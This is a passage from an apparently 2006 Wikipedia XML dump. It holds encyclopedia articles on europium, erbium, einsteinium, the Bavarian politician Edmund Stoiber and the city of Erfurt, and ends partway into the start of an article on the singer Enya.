There are no commercial applications for europium metal, although it has been used to dope some types of plastics to make [[laser]]s. Due to its ability to absorb neutrons, it is also being studied for use in nuclear reactors. Europium oxide (Eu&lt;sub&gt;2&lt;/sub&gt;O&lt;sub&gt;3&lt;/sub&gt;) is widely used as a red [[phosphor]] in [[Cathode_ray_tube|television sets]], and as an activator for [[yttrium]]-based phosphors. It is also being used as an agent for the manufacture of fluorescent glass.  A salt of Europium is a component of the newer phosphorescent powders and paints, some of which will glow for days after a few minutes of exposure to light.

== History ==
Europium was first found by [[Paul Émile Lecoq de Boisbaudran]] in [[1890]], who obtained basic fraction from [[samarium]]-[[gadolinium]] concentrates which had spectral lines not accounted for by [[samarium]] or [[gadolinium]]; however, the discovery of europium is generally credited to [[France|French]] [[chemist]] [[Eugène-Antole Demarçay]], who suspected samples of the recently discovered element [[samarium]] were contaminated with an unknown element in [[1896]] and who was able to isolate europium in [[1901]].

== Occurrence ==
Europium is never found in nature as the free element; however, there are many minerals containing europium, with the most important sources being [[bastnasite]] and [[monazite]]. Europium has also been identified in the spectra of the sun and certain stars.

== Compounds ==
Europium compounds include:

* [[Fluoride]]s
** [[europium(II) fluoride|EuF&lt;sub&gt;2&lt;/sub&gt;]]
** [[europium(III) fluoride|EuF&lt;sub&gt;3&lt;/sub&gt;]]
* [[Chloride]]s
** [[europium(II) chloride|EuCl&lt;sub&gt;2&lt;/sub&gt;]]
** [[europium(III) chloride|EuCl&lt;sub&gt;3&lt;/sub&gt;]]
* [[Bromide]]s
** [[europium(II) bromide|EuBr&lt;sub&gt;2&lt;/sub&gt;]]
** [[europium(III) bromide|EuBr&lt;sub&gt;3&lt;/sub&gt;]]
* [[Iodide]]s
** [[europium(II) iodide|EuI&lt;sub&gt;2&lt;/sub&gt;]]
** [[europium(III) iodide|EuI&lt;sub&gt;3&lt;/sub&gt;]]
* [[Oxide]]s
** [[europium(III) oxide|Eu&lt;sub&gt;2&lt;/sub&gt;O&lt;sub&gt;3&lt;/sub&gt;]]
** [[europium(II) oxide|Eu&lt;sub&gt;3&lt;/sub&gt;O&lt;sub&gt;4&lt;/sub&gt;]]
* [[Sulfide]]s
** [[europium(II) sulphide|EuS]]
* [[Selenide]]s
** [[europium(II) selenide|EuSe]]
* [[Telluride]]s
** [[europium(II) telluride|EuTe]]
* [[Nitride]]s
** [[europium(III) nitride|EuN]]

== Isotopes ==
Naturally occurring europium is composed of 2 stable [[isotope]]s, 151-Eu and 153-Eu, with 153-Eu being the most abundant (52.2% [[natural abundance]]). 35 [[radioisotope]]s have been characterized, with the most stable being 150-Eu with a [[half-life]] of 36.9 years, 152-Eu with a half-life of 13.516 years, and 154-Eu with a half-life of 8.593 years. All of the remaining [[radioactive]] isotopes have half-lifes that are less than 4.7612 years, and the majority of these have half lifes that are less than 12.2 seconds. This element also has 8 [[meta state]]s, with the most stable being 150m-Eu (t&lt;sub&gt;½&lt;/sub&gt; 12.8 hours), 152m1-Eu (t&lt;sub&gt;½&lt;/sub&gt; 9.3116 hours) and 152m2-Eu (t&lt;sub&gt;½&lt;/sub&gt; 96 minutes).

The primary [[decay mode]] before the most abundant stable isotope, 153-Eu, is [[electron capture]], and the primary mode after is [[beta minus decay]]. The primary [[decay product]]s before 153-Eu are element Sm ([[samarium]]) isotopes and the primary products after are element Gd ([[gadolinium]]) isotopes.

== Precautions ==
The toxicity of europium compounds has not been fully investigated, but there are no clear indications that europium is highly toxic compared to other heavy metals. The metal dust presents a fire and explosion hazard. Europium has no known biological role.

== References ==
*[http://periodic.lanl.gov/elements/63.html Los Alamos National Laboratory &amp;ndash; Europium]

== External links ==
{{Commons|Europium}}
* [http://www.webelements.com/webelements/elements/text/Eu/index.html WebElements.com &amp;ndash; Europium]
* [http://education.jlab.org/itselemental/ele063.html It's Elemental &amp;ndash; Europium]

[[Category:Chemical elements]]
[[Category:Lanthanides]]

[[ca:Europi]]
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[[io:Europio]]
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[[th:ยูโรเพียม]]
[[uk:Європій]]
[[zh:铕]]</text>
    </revision>
  </page>
  <page>
    <title>Erbium</title>
    <id>9478</id>
    <revision>
      <id>35498116</id>
      <timestamp>2006-01-17T04:15:16Z</timestamp>
      <contributor>
        <username>Archimerged</username>
        <id>757977</id>
      </contributor>
      <minor />
      <text xml:space="preserve">{{Elementbox_header | number=68 | symbol=Er | name=erbium | left=[[holmium]] | right=[[thulium]] | above=- | below=[[fermium|Fm]] | color1=#ffbfff | color2=black }}
{{Elementbox_series | [[lanthanide]]s }}
{{Elementbox_periodblock | period=6 | block=f }}
{{Elementbox_appearance_img | Er,68| silvery white }}
{{Elementbox_atomicmass_gpm | [[1 E-25 kg|167.259]][[List of elements by atomic mass|(3)]] }}
{{Elementbox_econfig | &amp;#91;[[xenon|Xe]]&amp;#93; 4f&lt;sup&gt;12&lt;/sup&gt; 6s&lt;sup&gt;2&lt;/sup&gt; }}
{{Elementbox_epershell | 2, 8, 18, 30, 8, 2 }}
{{Elementbox_section_physicalprop | color1=#ffbfff | color2=black }}
{{Elementbox_phase | [[solid]] }}
{{Elementbox_density_gpcm3nrt | 9.066 }}
{{Elementbox_densityliq_gpcm3mp | 8.86 }}
{{Elementbox_meltingpoint | k=1802 | c=1529 | f=2784 }}
{{Elementbox_boilingpoint | k=3141 | c=2868 | f=5194 }}
{{Elementbox_heatfusion_kjpmol | 19.90 }}
{{Elementbox_heatvaporiz_kjpmol | 280 }}
{{Elementbox_heatcapacity_jpmolkat25 | 28.12 }}
{{Elementbox_vaporpressure_katpa | 1504 | 1663 | (1885) | (2163) | (2552) | (3132) | comment= }}
{{Elementbox_section_atomicprop | color1=#ffbfff | color2=black }}
{{Elementbox_crystalstruct | hexagonal }}
{{Elementbox_oxistates | 3&lt;br /&gt;([[base (chemistry)|basic]] oxide) }}
{{Elementbox_electroneg_pauling | 1.24 }}
{{Elementbox_ionizationenergies4 | 589.3 | 1150 | 2194 }}
{{Elementbox_atomicradius_pm | [[1 E-10 m|175]] }}
{{Elementbox_atomicradiuscalc_pm | [[1 E-10 m|226]] }}
{{Elementbox_section_miscellaneous | color1=#ffbfff | color2=black }}
{{Elementbox_magnetic | no data }}
{{Elementbox_eresist_ohmm | ([[room temperature|r.t.]]) (poly) 0.860 µ}}
{{Elementbox_thermalcond_wpmkat300k | 14.5 }}
{{Elementbox_thermalexpansion_umpmk | ([[room temperature|r.t.]]) (poly)&lt;br /&gt;12.2 }}
{{Elementbox_speedofsound_rodmpsat20 | 2830 }}
{{Elementbox_youngsmodulus_gpa | 69.9 }}
{{Elementbox_shearmodulus_gpa | 28.3 }}
{{Elementbox_bulkmodulus_gpa | 44.4 }}
{{Elementbox_poissonratio | 0.237 }}
{{Elementbox_vickershardness_mpa | 589 }}
{{Elementbox_brinellhardness_mpa | 814 }}
{{Elementbox_cas_number | 7440-52-0 }}
{{Elementbox_isotopes_begin | isotopesof=erbium | color1=#ffbfff | color2=black }}
{{Elementbox_isotopes_decay | mn=160 | sym=Er
 | na=[[synthetic radioisotope|syn]] | hl=[[1 E5 s|28.58 h]]
 | dm=[[electron capture|&amp;epsilon;]] | de=0.330 | pn=160 | ps=[[holmium|Ho]] }}
{{Elementbox_isotopes_stable | mn=162 | sym=Er | na=0.14% | n=94 }}
{{Elementbox_isotopes_stable | mn=164 | sym=Er | na=1.61% | n=96 }}
{{Elementbox_isotopes_decay | mn=165 | sym=Er
 | na=[[synthetic radioisotope|syn]] | hl=[[1 E4 s|10.36 h]]
 | dm=[[electron capture|&amp;epsilon;]] | de=0.376 | pn=165 | ps=[[holmium|Ho]] }}
{{Elementbox_isotopes_stable | mn=166 | sym=Er | na=33.6% | n=98 }}
{{Elementbox_isotopes_stable | mn=167 | sym=Er | na=22.95% | n=99 }}
{{Elementbox_isotopes_stable | mn=168 | sym=Er | na=26.8% | n=100 }}
{{Elementbox_isotopes_decay | mn=169 | sym=Er
 | na=[[synthetic radioisotope|syn]] | hl=9.4 [[day|d]]
 | dm=[[beta emission|&amp;beta;&lt;sup&gt;-&lt;/sup&gt;]] | de=0.351 | pn=169 | ps=[[thulium|Tm]] }}
{{Elementbox_isotopes_stable | mn=170 | sym=Er | na=14.9% | n=102 }}
{{Elementbox_isotopes_decay | mn=171 | sym=Er
 | na=[[synthetic radioisotope|syn]] | hl=7.516 [[hour|h]]
 | dm=[[beta emission|&amp;beta;&lt;sup&gt;-&lt;/sup&gt;]] | de=1.490 | pn=171 | ps=[[thulium|Tm]] }}
{{Elementbox_isotopes_decay | mn=172 | sym=Er
 | na=[[synthetic radioisotope|syn]] | hl=49.3 [[hour|h]]
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{{Elementbox_isotopes_end}}
{{Elementbox_footer | color1=#ffbfff | color2=black }}

'''Erbium''' is a [[chemical element]] in the [[periodic table]] that has the symbol '''Er''' and [[atomic number]] 68. A rare silvery metallic [[lanthanide]] [[rare earth]] element, erbium is associated with several other rare elements in the [[mineral]] [[gadolinite]] from [[Ytterby]] in [[Sweden]].

== Notable characteristics ==
A [[trivalent]] element, pure erbium [[metal]] is malleable, soft yet stable in air and does not [[oxidation|oxidize]] as quickly as some other rare-earth metals. Its [[salt]]s are rose-colored and the element gives a characteristic sharp [[absorption spectra]] in [[visible light]], [[ultraviolet]], and near [[infrared]]. Otherwise it looks much like the other rare earths. Its sesqui[[oxide]] is called [[erbia]]. Erbium's properties are to a degree dictated by the kind and amount of impurities present. Erbium does not play any known biological role but is thought by some to be able to stimulate [[metabolism]].

== Applications ==
Erbium's everyday uses are varied. It is commonly used as a photographic [[filter]] and because of its resilience it is useful as an metallurgical additive. Other uses:
*Used in [[nuclear energy|nuclear]] technology as a [[neutron]] absorber.
*Used as a [[dopant]] in [[optical amplifier|fiber optic laser amplifier]]s.
*When added to [[vanadium]] as an [[alloy]] erbium lowers hardness and improves workability.
*[[Erbium oxide]] has a pink color and is therefore sometimes used as a [[glass]] and [[porcelain]] enamel glaze colorant. The glass is then often used in [[sunglasses]] and cheap [[jewelry]].

== History ==
Erbium (for [[Ytterby]], a town in [[Sweden]]) was [[discovery of the chemical elements|discovered]] by [[Carl Gustaf Mosander]] in [[1843]]. Mosander separated &quot;yttria&quot; from the mineral [[gadolinite]] into three fractions which he called [[yttria]], [[erbia]], and [[terbia]]. He named the new element after the town of Ytterby where large concentrations of yttria and erbium are located. Erbia and terbia, however, were confused at this time. After [[1860]], terbia was renamed erbia and after [[1877]] what had been known as erbia was renamed terbia. Fairly pure Er&lt;sub&gt;2&lt;/sub&gt;[[oxygen|O]]&lt;sub&gt;3&lt;/sub&gt; was independently isolated in [[1905]] by [[Georges Urbain]] and [[Charles James]]. Reasonably pure metal wasn't produced until [[1934]] when workers reduced the [[anhydrous]] [[chloride]] with [[potassium]] vapor.

== Occurrence ==
Like other rare earths, this element is never found as a free element in nature but is found bound [[monazite]]  sand ores. It has historically been very difficult and expensive to separate rare earths from each other in their ores but [[ion-exchange]] production techniques developed in the late [[20th century]] have greatly brought down the cost of production of all rare-earth metals and their [[chemical compound]]s. The principal commercial sources of erbium are from the minerals [[xenotime]] and [[euxenite]]. Metallic erbium in dust form presents a fire and explosion hazard.

== Isotopes ==
Naturally occurring erbium is composed of 6 stable [[isotope]]s, Er-162, Er-164, Er-166, Er-167,  Er-168, and Er-170 with Er-166 being the most abundant (33.6% [[natural abundance]]). 23 [[radioisotope]]s have been characterized, with the most stable being Er-169 with a [[half life]] of 9.4 days, Er-172 with a half-life of 49.3 hours, Er-160 with a half-life of 28.58 hours, Er-165 with a half-life of 10.36 hours, and Er-171 with a half life of 7.516 hours.  All of the remaining [[radioactive]] isotopes have half-lifes that are less than 3.5 hours, and the majority of these have half lifes that are less than 4 minutes. This element also has 6 [[meta state]]s, with the most stable being Er-167m (t&lt;sub&gt;½&lt;/sub&gt; 2.269 seconds).

The isotopes of erbium range in [[atomic weight]] from 144.957 [[atomic mass unit|amu]] (Er-145) to 173.944 amu (Er-174). The primary [[decay mode]] before the most abundant stable isotope, Er-166, is [[electron capture]], and the primary mode after is [[beta decay]]. The primary [[decay product]]s before Er-166 are element 67 ([[holmium]]) isotopes, and the primary products after are element 69 ([[thulium]]) isotopes.

== Precautions ==
As with the other lanthanides, erbium compounds are of low to moderate [[toxicity]], although their toxicity has not been investigated in detail.

== References ==
* [http://periodic.lanl.gov/elements/68.html Los Alamos National Laboratory &amp;ndash; Erbium]
* ''Guide to the Elements &amp;ndash; Revised Edition'', Albert Stwertka, (Oxford University Press; 1998) ISBN 0-19-508083-1
* [http://education.jlab.org/itselemental/ele068.html It's Elemental &amp;ndash; Erbium]

== External links ==
{{Commons|Erbium}}
* [http://www.webelements.com/webelements/elements/text/Er/index.html WebElements.com &amp;ndash; Erbium] (also used as a reference)

[[Category:Chemical elements]]
[[Category:Lanthanides]]

[[ca:Erbi]]
[[cs:Erbium]]
[[de:Erbium]]
[[et:Erbium]]
[[el:Έρβιο]]
[[es:Erbio]]
[[eo:Erbio]]
[[fr:Erbium]]
[[ko:어븀]]
[[io:Erbio]]
[[it:Erbio]]
[[he:ארביום]]
[[lt:Erbis]]
[[hu:Erbium]]
[[nl:Erbium]]
[[ja:エルビウム]]
[[nn:Erbium]]
[[pl:Erb]]
[[pt:Érbio]]
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[[th:เออร์เบียม]]
[[uk:Ербій]]
[[zh:铒]]</text>
    </revision>
  </page>
  <page>
    <title>Einsteinium</title>
    <id>9479</id>
    <revision>
      <id>42046883</id>
      <timestamp>2006-03-03T12:48:26Z</timestamp>
      <contributor>
        <username>Edgar181</username>
        <id>491706</id>
      </contributor>
      <comment>Revert to revision 41969002 using [[:en:Wikipedia:Tools/Navigation_popups|popups]]</comment>
      <text xml:space="preserve">{{Elementbox_header | number=99 | symbol=Es | name=einsteinium | left=[[californium]] | right=[[fermium]] | above=[[holmium|Ho]] | below=(Uqe) | color1=#ff99cc | color2=black }}
{{Elementbox_series | [[actinide]]s }}
{{Elementbox_periodblock | period=7 | block=f }}
{{Elementbox_appearance | unknown, probably silvery&lt;br /&gt;white or metallic gray }}
{{Elementbox_atomicmass_gpm | [[1 E-25 kg|(252)]] }}
{{Elementbox_econfig | &amp;#91;[[radon|Rn]]&amp;#93; 5f&lt;sup&gt;11&lt;/sup&gt; 7s&lt;sup&gt;2&lt;/sup&gt; }}
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{{Elementbox_density_gpcm3nrt | 8.84 }}
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{{Elementbox_ionizationenergies1 | 619 }}
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{{Elementbox_magnetic | no data }}
{{Elementbox_cas_number | 7429-92-7 }}
{{Elementbox_isotopes_begin | isotopesof=einsteinium | color1=#ff99cc | color2=black }}
{{Elementbox_isotopes_decay3 | mn=252 | sym=Es
 | na=[[synthetic radioisotope|syn]] | hl=[[1 E7 s|471.7 d]]
 | dm1=[[alpha emission|&amp;alpha;]] | de1=6.760 | pn1=248 | ps1=[[berkelium|Bk]]
 | dm2=[[electron capture|&amp;epsilon;]] | de2=1.260 | pn2=252 | ps2=[[californium|Cf]]
 | dm3=[[beta emission|&amp;beta;&lt;sup&gt;-&lt;/sup&gt;]] | de3=0.480 | pn3=252 | ps3=[[fermium|Fm]] }}
{{Elementbox_isotopes_decay2 | mn=253 | sym=Es
 | na=[[synthetic radioisotope|syn]] | hl=[[1 E6 s|20.47 d]]
 | dm1=[[spontaneous fission|SF]] | de1=- | pn1= | ps1=-
 | dm2=&amp;alpha; | de2=6.739 | pn2=249 | ps2=[[berkelium|Bk]] }}
{{Elementbox_isotopes_decay3 | mn=254 | sym=Es
 | na=[[synthetic radioisotope|syn]] | hl=275.7 [[day|d]]
 | dm1=&amp;epsilon; | de1=0.654 | pn1=254 | ps1=[[californium|Cf]]
 | dm2=&amp;beta;&lt;sup&gt;-&lt;/sup&gt; | de2=1.090 | pn2=254 | ps2=[[fermium|Fm]]
 | dm3=&amp;alpha; | de3=6.628 | pn3=250 | ps3=[[berkelium|Bk]] }}
{{Elementbox_isotopes_decay3 | mn=255 | sym=Es
 | na=[[synthetic radioisotope|syn]] | hl=39.8 d
 | dm1=&amp;beta;&lt;sup&gt;-&lt;/sup&gt; | de1=0.288 | pn1=255 | ps1=[[fermium|Fm]]
 | dm2=&amp;alpha; | de2=6.436 | pn2=251 | ps2=[[berkelium|Bk]]
 | dm3=SF | de3=- | pn3= | ps3=- }}
{{Elementbox_isotopes_end}}
{{Elementbox_footer | color1=#ff99cc | color2=black }}

'''Einsteinium''' is a [[synthetic element]] in the [[periodic table]] that has the symbol '''Es''' and [[atomic number]] 99. A [[metal]]lic highly [[radioactive]] [[transuranic element]] (7th in the series) in the [[actinide]]s, einsteinium is produced by bombarding [[plutonium]] with [[neutron]]s and was discovered in the debris of the first [[nuclear weapon|hydrogen bomb]] test. It was named after [[Albert Einstein]] and has no known uses. Tracer studies using the [[isotope]] Es-253 show that einsteinium has [[chemistry|chemical]] properties typical of a heavy trivalent, actinide element. Einsteinium has 99 protons, 99 electrons and 153 neutrons.

== History ==
Einsteinium was [[discovery of the chemical elements|first identified]] in December [[1952]] by [[Albert Ghiorso]] at the [[University of California, Berkeley]] and another team headed by [[G.R. Choppin]] at [[Los Alamos National Laboratory]]. Both were examining debris from the first [[nuclear weapon|hydrogen bomb]] test of November, [[1952]] (see [[Operation Ivy]]). They discovered the [[isotope]] einsteinium-253 ([[half-life]] 20.5 days) that was made by the [[nuclear fusion]] of 15 [[neutron]]s with [[uranium]]-238 (which then went through seven [[beta decay]]s). These findings were kept secret until [[1955]] due to [[Cold War]] tensions, however.

In [[1961]], enough einsteinium was synthesized to prepare a macroscopic amount of Es-253. This sample weighed about 0.01 mg and was measured using a special balance. The material produced was used to produce [[mendelevium]]. Further einsteinium has been produced at the [[Oak Ridge National Laboratory]]'s [[High Flux Isotope Reactor]] in [[Tennessee]] by bombarding [[plutonium]]-239 with [[neutron]]s. Around 3 mg was created over a four year program of irradiation and then chemical separation from a starting 1 kg of plutonium isotope.

== Isotopes ==
19 [[radioisotope]]s of einsteinium have been characterized, with the most stable being Es-252 with a [[half-life]] of 471.7 days, Es-254 with a half-life of 275.7 days, Es-255 with a half-life of 39.8 days, and Es-253 with a half-life of 20.47 days.  All of the remaining [[radioactive]] isotopes have half-lifes that are less than 40 hours, and the majority of these have half lifes that are less than 30 minutes. This element also has 3 [[meta state]]s, with the most stable being Es-254m (t&lt;sub&gt;½&lt;/sub&gt; 39.3 hours). The isotopes of einsteinium range in [[atomic mass]] from 240.069 [[atomic mass unit|u]] (Es-240) to 258.100 u (Es-258).

==References==
* [http://periodic.lanl.gov/elements/99.html Los Alamos National Laboratory - Einsteinium]
* ''Guide to the Elements - Revised Edition'', Albert Stwertka, (Oxford University Press; 1998) ISBN 0-19-508083-1
* [http://education.jlab.org/itselemental/ele099.html It's Elemental - Einsteinium]

== External links ==
{{Commons|Einsteinium}}
*[http://www.webelements.com/webelements/elements/text/Es/index.html WebElements.com - Einsteinium] (also used as a reference)

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[[Category:Actinides]]
[[Category:Albert Einstein]]

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  </page>
  <page>
    <title>Edmund Stoiber</title>
    <id>9480</id>
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      <text xml:space="preserve">[[Image:Villepin-stoiber.jpg|thumb|right|French Prime Minister [[Dominique de Villepin]] with Edmund Stoiber]]

[[Image:Arnold and Edmund 1.jpg|thumb|right|[[Arnold Schwarzenegger]] with Edmund Stoiber]]

'''[[Dr. jur.]] Edmund Stoiber''' (born [[September 28]], [[1941]]) is a [[Germany|German]] [[politics|politician]], currently [[minister-president]] of the [[States of Germany|state]] of [[Bavaria]], chairman of the [[Christian Social Union in Bavaria|Christian Social Union (CSU)]], and was slated to join Angela Merkel's office as [[Federal Minister for Economics and Labour (Germany)|Economics minister]]. However, on [[November 1]], [[2005]], he announced his decision to stay in Bavaria.

Stoiber was born in [[Oberaudorf]] in the district of [[Rosenheim (district)|Rosenheim]].  Prior to entering politics in 1974 and serving in the Bavarian parliament, he was a [[lawyer]] and worked at the [[University of Regensburg]].  In 1978 he was elected secretary general of the CSU, a post he held until 1982/83.  From 1982 to 1986 he served as deputy to the Bavarian secretary of state and then as minister of state from 1982 to 1986.  Like many from southern Germany, he is [[Catholic]]; however, [[religion]] does not play a defining role in his politics.  In 2002, he challenged [[Gerhard Schröder]] for the [[Chancellor of Germany|Chancellorship of Germany]].

Edmund Stoiber is married to [[Karin Stoiber]].

Stoiber's conservative views and controversial remarks have made him a polarizing figure in German politics; most Germans are either fond of his politics or disdain them.  Some have compared Stoiber to [[Oskar Lafontaine]]; both are close to the fringes of the German political mainstream, but come from opposite ends of the political spectrum.

==Education and Profession==
Stoiber attended the Ignaz-Günther-Gymnasium in [[Rosenheim]], where he received his [[Abitur]] (High School Diploma) in [[1961]]. His manditory military service was with the [[Gebirgsdivision]] infantry division in [[Mittenwald]] and [[Bad Reichenhall]] and was cut-short due to a knee injury. Following his military service, Stoiber studied [[political science]] and then, in the fall [[1962]] in [[Munich]], [[law]].  In [[1967]] he passed the state law exam and then worked at the [[University of Regensburg]] in [[criminal law]] and [[Eastern Europe|Eastern European]] law. He was awarded a [[doctorate]] of jurisprudence, and then in [[1971]] passed the second state examination with distinction.

In May 1993, the Bavarian ''Landtag'' (parliament) elected him as minister-president succeeding [[Max Streibl]].

== Chancellor candidacy ==

In 2002, Stoiber became the chancellor candidate for the [[Christian-Democratic Union of Germany|CDU]]/[[Christian_Social_Union_in_Bavaria|CSU]] after politically out-maneuvering the leader of the CDU, a Protestant woman, [[Angela Merkel]], who had been the favoured option among the German populace but was unpopular within her own party.  

In the run up to the 2002 election the CSU/CDU held a huge lead in the opinion polls and Stoiber famously remarked that &quot;...this [election] is like a [[soccer|football]] match where it's the second half and my team is ahead by 2-0.&quot;  However, on election day things had changed. The [[Social_Democratic_Party_of_Germany|SPD]] had mounted a huge comeback, the CDU/CSU was narrowly defeated (though both the SPD and CDU/CSU had 38.4% of the vote, the SPD was ahead by a small 6,000 vote margin), and [[Gerhard Schröder]] was re-elected as chancellor by the parliament in a coalition with the [[Green Party of Germany]]. Many commentators fault Stoiber's mishandling of the floods in eastern Germany, in the run-up to the election, as a contributory factor in his party's poor electoral result and defeat. In addition, Schroeder distinguished himself from his opponent by taking an active stance against support for the US-led Iraq War.  His extensive campaigning on this stance was widely seen as swinging the election to the SPD in the weeks running up to the election.

== Criticisms of Stoiber ==

While the conservative wing of the German political spectrum, primarily formed of the [[CDU]], [[CSU]], and the [[FDP]], enjoys considerable support, this support tends to be less extended to Stoiber. He enjoys considerably more support in his home state of Bavaria than in the rest of Germany, where CDU leader [[Angela Merkel]] is more popular. This has its reasons: Merkel supports a kind of fiscal conservatism, but a more liberal social policy. Stoiber, on the other hand favors a more conservative approach to both fiscal and social matters, and while this ensures him the religious vote, strongest in Bavaria, it has weakened his support at the national level.

Stoiber, as a minister in the very conservative state of Bavaria, is widely known for advocating a reduction in the number of [[asylum seekers]] Germany accepts, something that prompted critics to label him [[xenophobic]]. In the late [[1990s]] he critized the incoming Federal Chancellor (Bundeskanzler) [[Gerhard Schröder]] for saying that he would work hard in the interest of Germans ''and'' people living in Germany; Stoiber took issue with the fact that Schröder pledged to work on behalf of non-citizens. Stoiber's remarks drew heavy criticism in the press.

During the run-up to the German [[German federal election, 2005|general election]] in [[2005]], which was held ahead of schedule, Stoiber created controversy through a campaign speech held in the beginning of August 2005 in the federal state of [[Baden-Württemberg]]. He  said, &quot;I do not accept that the East will again decide who will be Germany's chancellor. It cannot be allowed that the frustrated determine Germany's fate.&quot; People in the new federal states of Germany (the former [[German Democratic Republic]]) were offended by Stoiber's remarks. While the CSU attempted to portray them as &quot;misinterpreted&quot;, Stoiber created further controversy when he claimed that &quot;if it was like Bavaria everywhere, there wouldn't be any problems. Unfortunately, not everyone in Germany is as intelligent as in Bavaria.&quot; The tone of the comments was exacerbated by a perception by some within Germany of the state of Bavaria as &quot;arrogant&quot;.

Many, including members of the CDU, attribute Stoiber's comments and behavior as a contributing factor to the CDU's losses in the 2005 general election. He was accused by many in the CDU/CSU of offering &quot;half-hearted&quot; support to Angela Merkel, with some even accusing him of being reluctant to support a female candidate from the East. (This also contrasted unfavorably with Merkel's robust support for his candidacy in the [[German federal election, 2002|2002 election]].) He has insinuated that votes were lost because of the choice of a female candidate. He came under heavy fire for these comments from press and politicians alike, especially since he himself lost almost 10% of the Bavarian vote - a dubious feat in itself as Bavarians tend to consistently vote conservatively. Nonetheless, a poll has suggested over 9% may have voted differently if the conservative candidate was a man from the West, although this does not clearly show if such a candidate would have gained or lost votes for the conservatives.

== See also ==
*[[List of Minister-Presidents of Bavaria]]

== External links==
*[http://www.stoiber.de Official Homepage (German)]
*[http://de.wikiquote.org/wiki/Edmund_Stoiber Wikiquotes of Edmund Stoiber (in German)]
*[http://www.gavagai.de/zitat/politik/HHC53.htm Stoiber quotes (in German)]
*[http://www.dw-world.de/dw/article/0,1564,1676848,00.html Stoiber and the East] - Deutsche Welle

[[Category:1941 births|Stoiber, Edmund]]
[[Category:Living people|Stoiber, Edmund]]
[[Category:Minister-Presidents of Bavaria|Stoiber, Edmund]]
[[Category:Members of the National Order of Quebec|Stoiber, Edmund]]
[[Category:Leaders of political parties|Stoiber, Edmund]]
[[Category:Roman Catholics|Stoiber, Edmund]]

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  </page>
  <page>
    <title>Erfurt</title>
    <id>9481</id>
    <revision>
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      <text xml:space="preserve">{{Infobox Town DE|
name = Erfurt|
name_local = |
image_coa =  Wappen_Erfurt.png|
image_map =  Erfurt-Position.png|
state = [[Thuringia]]|
regbzk = |
district = [[List of German urban districts|urban district]]|
population = 202,590|
population_as_of = 2005|
population_ref = [http://www.tls.thueringen.de/seite.asp source]|
pop_dens = 753|
area = 269.17|
elevation = 158-430|
lat_deg = 50| 
lat_min = 59|
lat_hem = N|
lon_deg = 11|
lon_min = 2|
lon_hem = E|
postal_code = 99001-99198|
area_code = 0361|
licence = EF|
mayor = Manfred Otto Ruge ([[CDU]])|
website = [http://www.erfurt.de/ erfurt.de]|
}}
[[Image:Dom und Severikirche in Erfurt.JPG|thumb|250px|Mariendom and the Severikirche]]
'''Erfurt''' {{IPA|[&amp;#x02c8;&amp;#x025b;rf&amp;#x028a;rt]}} is a city in central [[Germany]]. It is the capital of the state of [[Thuringia]], a manufacturing centre with a population of 196,500.

Erfurt was first mentioned in [[742]] under the name of &quot;Erphesfurt&quot;. It was an important trading town during the [[Middle Ages]] near a [[ford (river)|ford]] in the Gera river. Together with the other five Thuringian [[woad]]-towns of [[Gotha (town)|Gotha]], [[Tennstedt]], [[Arnstadt]] and [[Langensalza]] it was the centre of the German woad trade. In [[1392]] [[Erfurt University]] was founded, which was famous at its time but became defunct in [[1816]]. In [[1803]] Erfurt became a part of [[Prussia]]. Although enclosed by Thuringian territory, the city remained Prussian until [[1945]]. After [[German reunification]] Erfurt became the capital of the reestablished [[States of Germany|state]] of [[Thuringia]].

In contrast to most other major German cities, Erfurt suffered only limited damage from allied air raids during [[World War II]]. Except some damage resulting from socialist architecture, Erfurt thus has an intact medieval city center. 

The emblem of Erfurt is the two churches, the '''Mariendom''' and the '''Severikirche''', which stand directly side by side. Both churches tower above the townscape and are accessible via huge open stairs.

Another remarkable site is the '''Krämerbrücke''', a [[bridge]] crossing the narrow Gera River. The bridge is covered with inhabited buildings. It was built in [[1325]] with a [[church]] on either [[bridgehead]] - one of these churches still exists.

[[Martin Luther]] attended the University of Erfurt and received his bachelor's and master's degrees there.  The '''Augustinerkloster''' is an ancient [[Augustinians|Augustinian]] monastery. [[Martin Luther]] lived there as a monk from [[1505]]-[[1511|11]].

Erfurt is the birthplace of one of [[Johann Sebastian Bach|J.S. Bach]]'s cousins, [[Johann Bernhard Bach]] ([[1676]]-[[1749]]), J.S Bach's father [[Johann Ambrosius Bach]] ([[1645]] - [[1695]]), [[Meister Eckhart]] and also [[sociology|sociologist]], [[Max Weber]] ([[1864]]-[[1920]]).

On [[April 26]], [[2002]] the student Robert Steinhäuser killed 13 teachers, 2 students, a policeman and himself at the Gutenberg-[[Gymnasium (school)|Gymnasium]] school, see [[Erfurt massacre]].

[[Erfurt Airport]] can be reached by plane via [[Munich]].

== External links==
{{Commons|Erfurt}}
*[http://www.erfurt.de/ Official website] (German, English, French)
* [http://www.panorama-cities.net/erfurt/erfurt.html Erfurt City Panoramas] - Panoramic Views and virtual Tours
*[http://www.kraemerbruecke.de/ Kraemerbruecke]
*[http://www.cityofshawnee.org/cityclerk/SisterCities/sister.htm Sister City (since 1993)] with [[Shawnee, Kansas]]


[[Category:Erfurt|*]]

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  </page>
  <page>
    <title>Enya</title>
    <id>9482</id>
    <revision>
      <id>42062664</id>
      <timestamp>2006-03-03T15:27:06Z</timestamp>
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      <text xml:space="preserve">{{Infobox Band
| band_name =  Enya
| image = [[Image:Enyapose.jpg|200px|Eithne Ní Bhraonáin]]
| caption = Enya, 2002
| years_active = 1980&amp;ndash;present
| origin = [[Gweedore]], [[Republic of Ireland|Ireland]]
| music_genre = [[New Age Music]], [[Instrumental]], [[Soundtrack]]
| record_label = [[Warner Music]]
}}

'''Enya''' (born [[May 17]] [[1961]]), birth name '''Eithne Ní Bhraonáin''' (sometimes presented in the media as the [[Anglicisation|Anglicized]] '''Enya Brennan'''), is [[Ireland]]'s best-selling solo [[musician]]. As a musical group, ''Enya'' is really three people: Enya herself, who composes and performs the music; [[Nicky Ryan]], who produces the albums; and [[Roma Ryan]], who writes the [[lyrics]] in various [[language]]s. ''Enya'' is a [[phonetic]] approximation of how ''Eithne'' is pronounced in her native [[Irish language|Irish]]. Enya is one of the biggest selling female artists in history, and was the world's biggest selling female artist of 2001 and 2002.

==Biography==
===Musical upbringing===
[[Image:Clannad4.jpg|right|thumb|230px| Detail from Clannad's album ''Crann Úll''.]]

